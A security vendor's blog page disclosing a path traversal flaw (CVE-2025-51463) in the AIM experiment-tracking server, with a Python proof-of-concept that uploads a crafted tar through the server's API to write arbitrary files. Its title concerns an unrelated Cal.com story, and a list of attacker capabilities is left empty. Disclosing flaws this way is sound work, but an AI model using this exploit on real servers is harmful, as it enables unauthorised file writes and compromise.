How Cal.com Rebuilt AppSec After Going Closed Source
How Cal.com consolidated noisy security tooling into one continuous, context-aware pull request security program with Gecko.
Gecko Security
The following vulnerability was found using Gecko and validated by security researchers.
(Some Image Maybe?)
Repo: https://github.com/aimhubio/aim Version: 3.28.0 Severity: High (7.0/10) CVE: CVE-2025-51463[https://github.com/advisories/GHSA-6gj6-5cm3-g43x]
A path traversal vulnerability was found in AIM server. This vulnerability allows remote attackers to write arbitrary files on the server’s filesystem via a malicious tar file extraction. The vulnerability exists due to a lack of proper path validation when extracting backup tar archives in the restore_run_backup function.
The vulnerability exists in the following function call chain:
Client.run_instruction() in aim/ext/transport/client.pyRemoteRepoProxy._restore_run() in aim/sdk/remote_repo_proxy.pyRepo._restore_run() in aim/sdk/repo.pyrestore_run_backup() in aim/sdk/utils.pydef exploit():
client_id = str(uuid.uuid4())
unique_id = uuid.uuid4().hex[:8]
target_file = f"/tmp/aim_vuln_proof_{unique_id}.txt"
if os.path.exists(target_file):
os.remove(target_file)
content = f"AIM Path Traversal Vulnerability PoC\nTimestamp: {time.time()}\nID: {unique_id}\n"
print(f"Creating exploit for AIM server at {AIM_SERVER}")
print(f"Target file: {target_file}")
# create malicious tar file
tar_path = create_malicious_tar(target_file, content)
print(f"Created malicious tar: {tar_path}")
# create repo resource
resource_url = f"http://{AIM_SERVER}/tracking/{client_id}/get-resource/"
response = requests.post(
resource_url,
json={
"resource_handler": "repo",
"resource_type": "Repo",
"args": encode_args({})
}
)
if response.status_code != 200:
print(f"[-] Failed to create Repo resource: {response.text}")
return False
repo_handler = response.json()["handler"]
print(f"Created Repo resource: {repo_handler}")
# set repo path to /tmp
instruction_url = f"http://{AIM_SERVER}/tracking/{client_id}/read-instruction/"
response = requests.post(
instruction_url,
json={
"resource_handler": repo_handler,
"method_name": "path.setter",
"args": encode_args(["/tmp"])
}
)
if response.status_code != 200:
print(f"[-] Failed to set repo path: {response.text}")
return False
print(f"Set repo path to /tmp")
# create bcp directory
bcp_dir = "/tmp/bcp"
os.makedirs(bcp_dir, exist_ok=True)
# copy malicious tar to bcp directory
run_hash = f"exploit_{unique_id}"
bcp_tar_path = os.path.join(bcp_dir, run_hash)
shutil.copy(tar_path, bcp_tar_path)
print(f"Copied malicious tar to {bcp_tar_path}")
# trigger vulnerability via _restore_run
print(f"Triggering vulnerability...")
response = requests.post(
instruction_url,
json={
"resource_handler": repo_handler,
"method_name": "_restore_run",
"args": encode_args([run_hash])
}
)
# verify exploit success
if os.path.exists(target_file):
with open(target_file, "r") as f:
file_content = f.read()
print(f"Successfully created file: {target_file}")
print(f"Content: {file_content.strip()}")
return True
else:
print(f"Exploit failed - target file not created")
return FalseAttackers can:

Artemiy Malyshau
Co-founder & CTO
Artemiy served in an elite unit of the Austrian Cyber Forces, defending national infrastructure He was then the first employee at a government-backed cybersecurity research group, where he led security projects for Interpol and national governments. At Gecko he builds the platform trusted to sit inside Fortune 500 codebases, and holds it to the standard those governments taught him.
The latest news, technologies, and resources from our team.
How Cal.com consolidated noisy security tooling into one continuous, context-aware pull request security program with Gecko.
Gecko Security
See what actually changed in the OWASP Top 10 for 2026, from merged SSRF and XXE categories to new supply chain risks and scanner coverage gaps.
Jeevan Jutla
Gecko Security uncovered CVE-2026-21894 in August 2026, an n8n authorization bypass with CVSS 8.8. See why static tools missed it and how to remediate it.
Jeevan Jutla
Security misconfiguration is OWASP A05 for a reason. Learn how deployment context determines exploitability and how to fix gaps in August 2026.
Jeevan Jutla
How do modern AppSec vendors actually compare? This July 2026 capability map covers SAST, DAST, SCA, business logic flaws, and cross-service
Gecko Security
Break down your AppSec stack: what SAST, DAST, SCA, IAST, and pen testing each see — and what they miss. Updated July 2026 by Gecko Security.
Gecko Security
Occasional updates, new content, and insights. No spam; unsubscribe anytime.